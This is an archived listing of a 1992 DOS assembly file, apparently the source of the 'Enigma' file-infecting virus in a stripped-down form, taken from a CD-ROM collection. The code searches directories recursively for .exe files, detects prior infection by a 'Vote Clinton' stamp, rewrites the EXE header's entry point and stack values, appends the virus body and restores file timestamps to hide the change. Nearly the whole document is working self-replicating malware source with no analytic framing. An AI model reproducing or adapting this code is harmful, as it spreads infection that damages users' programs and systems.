home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / ENIGMA2.ASM < prev    next >
Assembly Source File  |  1992-08-06  |  17KB  |  980 lines

  1. code segment
  2. assume cs:code
  3.  
  4. ;A stripped down Enigma.
  5.  
  6. data_area    struc            ;Define a pattern for working data
  7.                     ;area
  8. DS_save        dw    ?
  9. ES_save        dw     ?
  10. IP_save        dw    ?
  11. CS_save        dw    ?
  12. SS_save        dw    ?
  13. filematch    db    '*.exe',00h    ;Names for files to infect
  14. matchall     db      '*.*',00h    ;needed for the matching procedure
  15. infected    dw    00h        ;A very useful flag
  16. help_flag    dw    00h        ;These two flags are needed to 
  17. where_from_flag dw    00h        ;determine if virus is free running
  18.                     ;or from an infected program
  19.                     ;therefore it's very important 
  20.                     ;that where_from_flag value
  21.                     ;is set to zero at assembly time
  22. handle        dw    ?                    
  23. ip_old        dw    ?        ;old instruction pointer
  24. cs_old        dw    ?        ;old value of code segment
  25. ss_old        dw    ?
  26. far_push    dw    ?
  27. save_push    dw    ?
  28. buffer1        db    '\',63 dup (?)
  29. virus_stamp     db      'Vote Clinton'          ;Very hard to obtain in
  30.                         ;a random way
  31.  
  32. question        db      'Press any key to continue...$'
  33. buffer2     db    2b0h dup (?)
  34. new_area    db    64 dup (?)
  35. new_data    db    64 dup (?)
  36. pointer1    dw    ?
  37. pointer2    dw    ?
  38. pointer3    dw    ?
  39. pointer4    dw    ?
  40. pointer5    dw    ?
  41. pointer6    dw    ?
  42. pointer7    dw    ?
  43. pointer8    dw    ?
  44.  
  45. data_area    ends            
  46.  
  47.     org    100h            ;Defined for .com file as virus must
  48.                     ;be able to run on itself
  49. start:    call    setup_data        ;This is a near call therefore it's a
  50.                     ;three byte instruction.It's purpose is
  51.                     ;to catch correct data area address 
  52.                     ;even when virus is appended to the
  53.                     ;infected .exe program 
  54. adjust    equ    offset pgm_start    ;Known offset value  
  55. pgm_start    label    word        ;    
  56.  
  57. virussize    equ    2793
  58.     
  59.  work:  mov    ax,ds            ;Save old DS
  60.      push    cs
  61.     pop    ds            ;Update to needed DS value
  62.     mov    si,offset buffer.DS_save  ;Put old DS in a quiet place
  63.     sub    si,adjust
  64.     add    si,bx
  65.     mov    [si],ax
  66.     
  67.      mov    si,offset buffer.ES_save  ;Save it because Get DTA side effects
  68.      sub    si,adjust
  69.     add     si,bx
  70.      mov    ax,es
  71.     mov    [si],ax
  72.     push    cs            ;Imperative because DI usage
  73.     pop    es
  74.     
  75.     push    bx            ;It's imperative to always keep
  76.                     ;this value unchanged
  77.     mov    ax,2f00h        ;Get DTA function call
  78.     int    21h
  79.     
  80.     mov    cx,bx            ;save address found
  81.     pop    bx
  82.     mov    si,offset buffer.pointer1 
  83.     sub    si,adjust
  84.     add    si,bx
  85.     mov    [si],cx
  86.     add    si,2            ;Locate the segment immediately above
  87.     mov    ax,es
  88.     mov    [si],ax                
  89.     push    cs
  90.     pop    es
  91.  
  92.     mov    di,offset buffer.buffer1 ;adjust for first search
  93.     inc    di                 ;Jump over the '\'
  94.     sub    di,adjust
  95.     add    di,bx
  96.     mov    dx,0000h
  97.     push    bx
  98.     call    search_exe
  99.     pop    bx
  100.     mov    si,offset buffer.where_from_flag
  101.     sub    si,adjust
  102.     add    si,bx
  103.     cmp    word ptr [si],0000h
  104.     jnz    infected_run 
  105.     int    020H
  106.  
  107. infected_run:
  108.     mov    si,offset buffer.pointer1
  109.     sub    si,adjust
  110.     add    si,bx
  111.     mov    dx,[si]
  112.     push    ds
  113.     mov    ax,[si+2]
  114.     mov    ds,ax
  115.     push    bx
  116.     mov    ax,1a00h
  117.     int    21h
  118.     pop    bx
  119.     pop    ds            ;Restore original DTA
  120.     
  121.     mov    si,offset buffer.ES_save
  122.     sub    si,adjust
  123.     add    si,bx
  124.     mov    ax,[si]
  125.     mov    es,ax            ;Restore ES
  126.     
  127.         call    ask_question
  128.  
  129.         mov     si,offset buffer.IP_save
  130.     sub    si,adjust
  131.         add     si,bx
  132.     mov    ax,[si]
  133.     mov    dx,[si+2]
  134.     mov    si,offset buffer.far_push    ;Restore original code
  135.     sub    si,adjust            ;segment
  136.         add     si,bx
  137.     mov    cx,[si]
  138.     push    ax
  139.     mov    ax,cs
  140.     sub    ax,cx
  141.         mov     di,ax                           ;For stack
  142.     add    dx,ax
  143.     pop    ax
  144.     
  145.     mov    si,offset buffer.SS_save
  146.     sub    si,adjust            ;Restore stack segment
  147.     add    si,bx
  148.     mov    cx,word ptr [si]
  149.     add    cx,di
  150.     
  151.     push    es
  152.     pop    ds
  153.     
  154.     cli
  155.     mov    ss,cx
  156.     sti
  157.     
  158.     
  159.     push    dx
  160.     push    ax
  161.         ret     far
  162.     
  163.  
  164. search_exe    PROC
  165.  
  166.     push    si
  167.     push    dx
  168.     call    transfer_filespec        ;transfer filename in another
  169.                         ;working area
  170.     call    find_first            ;try to find a first match
  171.     jc    not_here            ;first match not found
  172.     call    try_to_infect            ;if found try to infect
  173.                         ;infected != 0 if success
  174.     mov    si,offset buffer.infected
  175.     sub    si,adjust
  176.     add    si,bx
  177.     test    word ptr [si],0ffffh
  178.     jz    try_next
  179.     jmp    quiet_exit
  180.     
  181. try_next:
  182.     call    find_next            ;If infection was not succesful
  183.                         ;try once more 
  184.     jc    not_here
  185.  
  186.     call    try_to_infect            ;If match found try to infect
  187.           mov    si,offset buffer.infected    ;again
  188.     sub    si,adjust
  189.     add    si,bx
  190.     test    word ptr [si],0ffffh
  191.     jz    try_next
  192.  
  193.     jmp    quiet_exit            ;quiet exit simply jumps
  194.                         ;to a return instruction
  195. not_here:
  196.     pop    dx                ;If first searches are
  197.     push    dx                  ;unsuccesful try a '*.*' match
  198.     call    search_all
  199.     call    find_first
  200.     jnc    attribute_test            ;i.e. expect probably to
  201.                         ;find a subdirectory
  202. quiet_exit:
  203.     pop    dx
  204.     pop    si
  205.     ret
  206.     
  207. attribute_test:        
  208.     mov    si,dx                ;offset of DTA
  209.     test    byte ptr [si+015h],010h        ;where attribute byte is to
  210.                         ;be found.Try first with 
  211.                         ;subdirectory attribute
  212.     jne    dir_found            ;subdirectory found
  213. more_tries:
  214.     call    find_next            ;Since the search was initiated
  215.                         ;with '*.*' if this is not a
  216.                         ;directory try to found one
  217.     jc    quiet_exit            ;No sense to search more 
  218.     
  219.     test    byte ptr [si+015h],010h
  220.     jz    more_tries            ;Search to the end
  221. dir_found:
  222.     cmp    byte ptr [si+01Eh],02Eh     ;Compare with the subdirectory
  223.                         ;mark '.'
  224.     jz    more_tries            ;looking for files no
  225.                         ;subdirectories
  226.  
  227.     call    dta_compute            ;Valid entry, now set some DTA
  228.                         ;and continue to search
  229.     push    ax
  230.     mov    ah,01Ah                ;Set DTA function call
  231.     int    021h
  232.     pop    ax
  233.     push    si
  234.           mov    si,offset buffer.infected    
  235.     sub    si,adjust
  236.     add    si,bx
  237.     test    word ptr [si],0ffffh
  238.     pop    si
  239.     jnz    quiet_exit
  240.  
  241.     jmp    more_tries            
  242.  
  243.  
  244. search_exe    ENDP
  245.  
  246. dta_compute     PROC
  247.  
  248.     push    di                ;Save some registers
  249.     push    si
  250.     push    ax
  251.     push    bx
  252.     cld                    ;Up count for SI,DI pair
  253.     mov    si,dx                ;DTA address to SI
  254.     add    si,01EH                ;and add subdirectory
  255.                         ;name offset
  256.     
  257. store_loop:
  258.     lodsb    
  259.     stosb    
  260.     or    al,al
  261.     jne    store_loop            ;store loop
  262.  
  263.     std    
  264.     stosb    
  265.     mov    al,05Ch                ;Put in place the path name
  266.                         ;constructor
  267.                         
  268.     stosb    
  269.     add    di,2                ;Adjust di for new searches
  270.     call    search_exe            ;
  271.                         ;a heavily recursion
  272.                         ;
  273.     pop    bx                ;some cleanup and exit 
  274.                         ;
  275.     pop    ax
  276.     pop    si
  277.     pop    di
  278.     ret    
  279.  
  280. dta_compute     ENDP
  281.  
  282. try_to_infect     PROC                
  283.  
  284.     push    ax
  285.     push    bx
  286.     push    cx
  287.     push    dx
  288.     push    si
  289.     push    di
  290.     
  291.     push    es
  292.     push    bx
  293.     mov    ax,2f00h            ;Get DTA function call
  294.     int    21h
  295.     mov    ax,bx
  296.     pop    bx
  297.     mov    si,offset buffer.pointer3
  298.     sub    si,adjust
  299.     add    si,bx
  300.     mov    [si],ax                ;Offset saved
  301.     add     si,2
  302.     mov    ax,es
  303.     mov    [si],ax
  304.     pop    es                ;Segment located just above
  305.  
  306.     mov    dx,offset buffer.new_data
  307.     sub    dx,adjust
  308.     add    dx,bx
  309.     push    bx
  310.     mov    ax,1a00h
  311.     int    21h                ;Set DTA function call
  312.     pop     bx                ;It's very important to
  313.                         ;save BX in all calls
  314.  
  315.     mov    di,offset buffer.new_area
  316.     mov    si,offset buffer.buffer1
  317.     sub    di,adjust
  318.     sub    si,adjust
  319.     add    di,bx
  320.     add    si,bx
  321.     
  322.     cld                    ;Move previously found path-
  323.                         ;name or filename to new
  324.                         ;data area
  325. move_path:                        
  326.     lodsb
  327.     stosb
  328.     or    al,al
  329.     jnz    move_path
  330.     std                    ;adjust DI to recieve
  331.     mov    al,'\'                ;filename.
  332.     mov    cx,0040h
  333.     std                    ;Search backward
  334.     repne   scasb
  335.     
  336.     mov    si,offset buffer.pointer3
  337.     sub    si,adjust
  338.     add    si,bx
  339.     mov    ax,[si]
  340.     mov    si,ax
  341.     add    di,2                
  342.  
  343. o_kay:
  344.     add    si,001eh            ;The beginning of the
  345.                         ;filename...
  346.     cld                    ;Now move name
  347.      
  348. move_fnm:
  349.     lodsb
  350.     stosb
  351.     or    al,al
  352.     jnz    move_fnm
  353.                                      
  354.     push    dx
  355.     push    bx
  356.     mov    dx,offset buffer.new_area
  357.     sub    dx,adjust
  358.     add    dx,bx
  359.     mov    ax,3d02h            ;Open file with handle
  360.                         ;for read/write
  361.     int    21h
  362.     pop    bx
  363.     pop    dx
  364.     jnc    go_ahead            ;In case file cannot be opened
  365.     jmp    error_exit
  366.     
  367. go_ahead:
  368.     mov    si,offset buffer.handle
  369.     sub    si,adjust
  370.     add    si,bx
  371.     mov    [si],ax                ;Save handle
  372.     
  373.     push    bx
  374.     mov    bx,ax                ;Prepare for lseek
  375.     push    dx
  376.     mov    cx,0000h            ;Look at the end of the file
  377.     mov    dx,0000h            ;Offset of -12 from the end
  378.                         ;of the file
  379.     mov    ax,4202h            ;Lseek function call
  380.     int    21h
  381.     mov    cx,dx
  382.     pop    dx
  383.     pop    bx
  384.     jnc    compute_length
  385.     jmp    close_error
  386.     
  387. compute_length:
  388.  
  389.     sub    ax,000ch
  390.     sbb    cx,0000h            ;Exact position
  391.     
  392.  
  393. save_offset:                    ;    
  394.     mov    si,offset buffer.pointer5
  395.     sub    si,adjust
  396.     add    si,bx
  397.     mov    [si],ax
  398.     add    si,2
  399.     mov    [si],cx
  400.     
  401.     push     bx
  402.     push    dx
  403.     mov    si,offset buffer.handle
  404.     sub    si,adjust
  405.     add     si,bx
  406.     mov    bx,[si]
  407.     mov    dx,ax
  408.     mov    ax,4200h            ;From beginning of file
  409.     int    21h                ;Lseek function call
  410.     pop    dx
  411.     pop    bx
  412.     jnc    set_buffer
  413.     jmp    close_error
  414.         
  415. set_buffer:    
  416.     push    bx
  417.     push    dx
  418.     mov    dx,offset buffer.new_data
  419.     sub    dx,adjust
  420.     add    dx,bx
  421.     mov    si,offset buffer.handle
  422.     sub    si,adjust
  423.     add    si,bx
  424.     mov    bx,[si]                ;Load handle
  425.     mov    cx,000ch
  426.     mov    ax,3f00h
  427.     int    21h                ;Read function call
  428.     pop    dx
  429.     pop    bx
  430.     jnc    read_ok
  431.     jmp    close_error
  432.     
  433. read_ok:
  434.     mov    si,offset buffer.virus_stamp
  435.     mov    di,offset buffer.new_data
  436.     sub    si,adjust
  437.     sub    di,adjust
  438.     add    si,bx
  439.     add     di,bx
  440.     mov    cx,12                ;Length of strings to
  441.                         ;compare
  442.     repe    cmpsb
  443.     pushf
  444.           mov    si,offset buffer.infected    
  445.     sub    si,adjust
  446.     add    si,bx
  447.     mov    word ptr [si],0000h        
  448.     popf
  449.     jnz    infect_it
  450.  
  451. close_error:
  452.     mov    si,offset buffer.handle
  453.     sub    si,adjust
  454.     add    si,bx
  455.     push    bx
  456.     mov    bx,[si]
  457.     mov    ax,3e00h            ;Close file function call
  458.     int    21h
  459.     pop    bx
  460.     jmp    error_exit
  461.     
  462. infect_it:                                
  463.           mov    si,offset buffer.infected    
  464.     sub    si,adjust
  465.     add    si,bx
  466.     mov    word ptr [si],7777h        
  467.     
  468.     mov    si,offset buffer.where_from_flag
  469.     sub    si,adjust
  470.     add    si,bx
  471.     mov    ax,[si]
  472.     sub     si,2
  473.     mov    [si],ax            ;This code effectively moves
  474.                     ;where_from_flag into help_flag
  475.                     
  476.     add    si,2
  477.     mov    [si],5a5ah        ;Ready to infect
  478.     push     bx
  479.     push    dx
  480.     mov    si,offset buffer.handle
  481.     sub    si,adjust
  482.     add     si,bx
  483.     mov    bx,[si]
  484.     xor    cx,cx
  485.     xor    dx,dx
  486.     mov    ax,4200h            ;From beginning of file
  487.     int    21h                ;Lseek function call
  488.     pop    dx
  489.     pop    bx
  490.     jnc    set_new_data
  491.     jmp    append_ok
  492.     
  493. set_new_data:
  494.     push    bx
  495.     push    dx
  496.     mov    dx,offset buffer.new_data
  497.     sub    dx,adjust
  498.     add    dx,bx
  499.     mov    si,offset buffer.handle
  500.     sub    si,adjust
  501.     add    si,bx
  502.     mov    bx,[si]                ;Load handle
  503.     mov    cx,001bh            ;Read formatted exe header
  504.     mov    ax,3f00h
  505.     int    21h                ;Read function call
  506.     pop    dx
  507.     pop    bx
  508.     jnc    read_header
  509.     jmp    append_ok
  510.  
  511. read_header:
  512.     nop                    ;some code to modify header
  513.                         ;
  514.             
  515.     mov    si,offset buffer.pointer5
  516.     sub    si,adjust
  517.     add    si,bx
  518.     mov    ax,[si]
  519.     add    si,2
  520.     add    ax,0ch
  521.     adc    word ptr [si],0000h
  522.     sub    si,2
  523.     mov    [si],ax            ;This code restores original
  524.                     ;filelength
  525.             
  526.     mov    si,offset buffer.new_data
  527.     sub    si,adjust
  528.     add    si,bx
  529.     mov    ax,[si]
  530.     cmp    ax,5a4dh        ;check for valid exe file
  531.     jz    valid_exe
  532.     jmp    append_ok
  533.     
  534. valid_exe:
  535.     mov    ax,[si+8]        ;Load module size
  536.     xor    dx,dx
  537.     shl    ax,1
  538.     rcl    dx,1
  539.     shl    ax,1
  540.     rcl    dx,1
  541.     shl    ax,1
  542.     rcl    dx,1
  543.     shl    ax,1
  544.     rcl    dx,1            ;Multiply by 16
  545.     
  546.     push    ax
  547.     push    dx            ;Adjust new size
  548.     push    cx
  549.     mov    dx,virussize-896+64
  550.     push    dx
  551.     mov    cx,0009h
  552.     shr    dx,cl
  553.     add    word ptr [si+4],dx
  554.     pop    dx
  555.     and    dx,01ffh
  556.     add    dx,word ptr [si+2]
  557.     cmp    dx,512
  558.     jl    adjust_okay
  559.     sub    dx,512
  560.     inc    word ptr [si+4]
  561. adjust_okay:
  562.     mov    word ptr [si+2],dx    
  563.     pop    cx
  564.     pop    dx
  565.     pop    ax
  566.     
  567.  
  568.     push    si            ;This SI is very useful so save it
  569.                             
  570.     mov    si,offset buffer.pointer5
  571.     sub    si,adjust
  572.     add    si,bx
  573.     sub    [si],ax
  574.     mov    ax,[si]
  575.     sbb    [si+2],dx
  576.     mov    dx,[si+2]        ;the byte size of the load module
  577.             
  578.  
  579.     pop    si
  580.     push    ax
  581.     push    dx
  582.     mov    ax,[si+14h]
  583.     mov    dx,[si+16h]        ;Get CS:IP value
  584.     mov    cx,[si+0eh]        ;Get SS value
  585.     push    si
  586.     mov    si,offset buffer.IP_save
  587.     sub    si,adjust
  588.     add    si,bx
  589.     xchg    [si],ax
  590.     xchg    [si+2],dx
  591.     mov    si,offset buffer.SS_save
  592.     sub    si,adjust
  593.     add    si,bx
  594.     xchg    [si],cx
  595.     mov    si,offset buffer.ip_old
  596.     sub    si,adjust
  597.     add    si,bx
  598.     mov    [si],ax
  599.     mov    [si+2],dx
  600.     mov    si,offset buffer.ss_old
  601.     sub    si,adjust
  602.     add    si,bx
  603.     mov    [si],cx
  604.     pop    si
  605.     pop    dx
  606.     pop    ax
  607.     
  608.     push    ax
  609.     push    dx
  610.     
  611.     shl    ax,1
  612.     rcl    dx,1
  613.     shl    ax,1
  614.     rcl    dx,1
  615.     shl    ax,1
  616.     rcl    dx,1
  617.     shl    ax,1
  618.     rcl    dx,1            ;Multiply by 16
  619.     
  620.     mov    cx,0008h
  621.     shl    dx,cl
  622.     mov    cx,0004h
  623.     shr    ax,cl            ;A very obscure algorithm to make
  624.                     ;a segment:offset pair
  625.     mov    [si+14h],ax
  626.     mov    [si+16h],dx        ;Infected values
  627.  
  628.     push    si
  629.     mov    si,offset buffer.far_push
  630.     sub    si,adjust
  631.     add    si,bx
  632.     xchg    [si],dx
  633.     mov    word ptr [si+2],dx
  634.     pop    si
  635.         
  636.     pop    dx
  637.     pop    ax
  638.     add    ax,virussize        ;
  639.     adc    dx,0000h
  640.  
  641.     mov    cx,0003h    
  642. mul_loop:
  643.  
  644.     shl    ax,1
  645.     rcl    dx,1
  646.     shl    ax,1
  647.     rcl    dx,1
  648.     shl    ax,1
  649.     rcl    dx,1
  650.     shl    ax,1
  651.     rcl    dx,1            ;Multiply by 4096
  652.     loop    mul_loop
  653.                 
  654.     or    ax,ax
  655.     jz    exact_value
  656.     inc    dx
  657. exact_value:    
  658.     mov    [si+0eh],dx        ;Infected stack segment 
  659.         
  660.                     ;Write back infected header
  661.     push    si
  662.     push    bx
  663.     mov    si,offset buffer.handle
  664.     sub    si,adjust
  665.     add    si,bx
  666.     mov    bx,[si]
  667.     mov    ax,5700h        ;Get time function
  668.     int    21h
  669.     pop    bx
  670.     pop    si
  671.     jnc    correct_time
  672.     jmp    append_ok1
  673.     
  674. correct_time:
  675.     push    cx
  676.     push     bx
  677.     push    dx
  678.     mov    si,offset buffer.handle
  679.     sub    si,adjust
  680.     add     si,bx
  681.     mov    bx,[si]
  682.     xor    cx,cx
  683.     xor    dx,dx
  684.     mov    ax,4200h            ;From beginning of file
  685.     int    21h                ;Lseek function call
  686.     pop    dx
  687.     pop    bx
  688.     pop    cx
  689.     jnc    continue_infection
  690.     jmp    append_ok1
  691.     
  692. continue_infection:
  693.     
  694.     push    cx
  695.     push    dx
  696.     push    bx
  697.     mov    dx,offset buffer.new_data
  698.     sub    dx,adjust
  699.     add    dx,bx
  700.     mov    si,offset buffer.handle
  701.     sub    si,adjust
  702.     add    si,bx
  703.     mov    bx,[si]                ;Load handle
  704.     mov    cx,001bh            ;Write infected exe header
  705.     mov    ax,4000h
  706.     int    21h                ;Write function call
  707.     pop    bx
  708.     pop    dx
  709.     pop    cx
  710.     jnc    glue_virus
  711.     jmp    append_ok1
  712.  
  713. glue_virus:
  714.                             
  715.     push    cx
  716.     push     bx
  717.     push    dx
  718.     mov    si,offset buffer.handle
  719.     sub    si,adjust
  720.     add     si,bx
  721.     mov    bx,[si]
  722.     xor    cx,cx
  723.     xor    dx,dx
  724.     mov    ax,4202h            ;From the end of file
  725.     int    21h                ;Lseek function call
  726.     pop    dx
  727.     pop    bx
  728.     pop    cx
  729.     jnc    write_data
  730.     jmp    append_ok1
  731.     
  732. write_data:
  733.     
  734.     mov    si,offset buffer.handle
  735.     sub    si,adjust
  736.     add    si,bx
  737.     
  738.     push    dx
  739.     push    cx
  740.     
  741.     mov    dx,bx
  742.     sub    dx,3                ;The starting three byte
  743.                         ;call instruction
  744.     push    es
  745.     push    bx
  746.     push    dx
  747.     push    si
  748.     mov    ax,2f00h
  749.     int    21h
  750.     pop    si
  751.     pop    dx
  752.     
  753.     push    es
  754.     push    bx
  755.     
  756.     push    si
  757.     mov    ax,1a00h
  758.     int    21h
  759.     pop    si
  760.     
  761.                             
  762.     mov    bx,[si]                ;Load handle
  763.     mov    cx,virussize-896+64        ;Length of virus obtained
  764.     mov    ax,4000h            ;with dir
  765.     int    21h
  766.     lahf                    ;Write function call
  767.  
  768.     pop    bx
  769.     pop    es
  770.     
  771.     push    ds
  772.     push    es
  773.     pop    ds
  774.     mov    dx,bx
  775.     push    ax
  776.     mov    ax,1a00h
  777.     int    21h
  778.     pop    ax
  779.     
  780.     pop    ds
  781.     pop    bx
  782.     pop    es
  783.     
  784.     pop    cx
  785.     pop    dx
  786.     
  787.     sahf
  788.     jnc    put_stamp            ;Error or not file
  789.     jmp    append_ok1            ;is closed    
  790.     
  791. put_stamp:
  792.     push    bx
  793.     mov    si,offset buffer.handle
  794.     sub    si,adjust
  795.     add    si,bx
  796.     mov    bx,[si]
  797.     mov    ax,5701h        ;Set time function
  798.     int    21h
  799.     pop    bx
  800.  
  801. append_ok1:
  802.  
  803.     mov    si,offset buffer.ip_old    ;Restore previous CS:IP values
  804.     sub    si,adjust
  805.     add    si,bx
  806.     mov    ax,[si]
  807.     mov    dx,[si+2]
  808.     mov    si,offset buffer.IP_save
  809.     sub    si,adjust
  810.     add    si,bx
  811.     mov    [si],ax
  812.     mov    [si+2],dx    
  813.  
  814.     mov    si,offset buffer.save_push
  815.     sub    si,adjust
  816.     add    si,bx
  817.     mov    ax,[si]
  818.     mov    word ptr [si-2],ax
  819.     
  820.     mov    si,offset buffer.ss_old
  821.     sub    si,adjust
  822.     add    si,bx
  823.     mov    ax,[si]
  824.     mov    si,offset buffer.SS_save
  825.     sub    si,adjust
  826.     add    si,bx
  827.     mov    word ptr [si],ax
  828.         
  829.         
  830. append_ok:
  831.     mov    si,offset buffer.help_flag
  832.     sub    si,adjust
  833.     add    si,bx
  834.     mov    ax,[si]
  835.     add     si,2
  836.     mov    [si],ax            ;This code effectively moves
  837.                     ;help_flag into where_from_flag 
  838.  
  839.         
  840.     jmp    close_error            ;
  841.     
  842. error_exit:
  843.     mov    si,offset buffer.pointer3
  844.     sub    si,adjust
  845.     add    si,bx
  846.     mov    dx,[si]            ;Restore original DTA
  847.     add    si,2
  848.     mov    ax,[si]
  849.     push    ds
  850.     mov    ds,ax
  851.     mov    ax,1a00h        ;Set DTA function call
  852.     int    21h
  853.     pop    ds
  854.     pop    di
  855.     pop    si
  856.     pop    dx
  857.     pop    cx
  858.     pop    bx
  859.     pop    ax
  860.     ret        
  861.     
  862. try_to_infect    ENDP
  863.                                 
  864. transfer_filespec     PROC
  865.  
  866.     push    si
  867.     mov    si,offset buffer.filematch     ;Transfer name to the working
  868.                         ;area
  869.     sub    si,adjust
  870.     add    si,bx
  871.     call    byte_move
  872.     pop    si
  873.     ret    
  874.  
  875. transfer_filespec     ENDP
  876.  
  877. search_all     PROC
  878.  
  879.     push    si
  880.     mov    si,offset buffer.matchall    ;This is the '*.*' filename
  881.     sub    si,adjust
  882.     add    si,bx
  883.     call    byte_move
  884.     pop    si
  885.     ret    
  886.     
  887. search_all     ENDP
  888.     
  889. byte_move    PROC
  890.  
  891.     push    ax
  892.     push    di
  893.  
  894.     cld    
  895.  
  896. move_loop:
  897.     lodsb    
  898.     stosb    
  899.     or    al,al                ;The string to move is ASCIIZ
  900.     jne    move_loop
  901.     pop    di
  902.     pop    ax
  903.     ret    
  904.     
  905. byte_move    ENDP
  906.     
  907. find_first    PROC
  908.  
  909.     push    cx
  910.     push    bx
  911.     cmp    dx,0000h
  912.     jnbe    over_set
  913.     mov    dx,offset buffer.buffer2        ;Set Data Transfer Area
  914.     sub    dx,adjust                ;or Disk Transfer area
  915.     add    dx,bx                    ;
  916. over_set:
  917.     add    dx,02Bh
  918.     mov    cx,00010h                ;Attribute byte for 
  919.                             ;directory search
  920.     mov    ah,01ah
  921.     int    021h                    ;Set DTA function call
  922.     
  923.     pop    bx
  924.     push    bx
  925.     push    dx
  926.     mov    dx,offset buffer.buffer1
  927.     sub    dx,adjust
  928.     add    dx,bx
  929.     mov    ah,04eh                ;find first
  930.                         ;function call
  931.     int    021h
  932.     pop    dx
  933.     pop    bx
  934.     pop    cx
  935.     ret    
  936.     
  937. find_first    ENDP
  938.     
  939. find_next     PROC
  940.  
  941.     push    cx
  942.     push    bx
  943.     push    dx
  944.     mov    dx,offset buffer.buffer1
  945.     sub    dx,adjust
  946.     add    dx,bx
  947.     mov    cx,00010h
  948.     mov    ah,04fh                ;Find next function call
  949.     int    021h
  950.     pop    dx
  951.     pop    bx
  952.     pop    cx
  953.     ret    
  954.  
  955. find_next     ENDP
  956.  
  957. ask_question    PROC
  958.  
  959.         mov     dx,offset buffer.question
  960.         mov     ax,09
  961.         int     21h
  962.         xor     ax,ax
  963.         int     16h
  964.  
  965. ask_question    ENDP
  966.  
  967.  
  968. setup_data:
  969.     cli
  970.     pop    bx            ;This will catch instruction pointer 
  971.     push    bx    
  972.     sti                ;value and after that restore stack
  973.     ret                ;pointer value        
  974.  
  975.  
  976. buffer    data_area    <>        ;Reseve data_area space     
  977.  
  978.         code    ends
  979.     END     start
  980.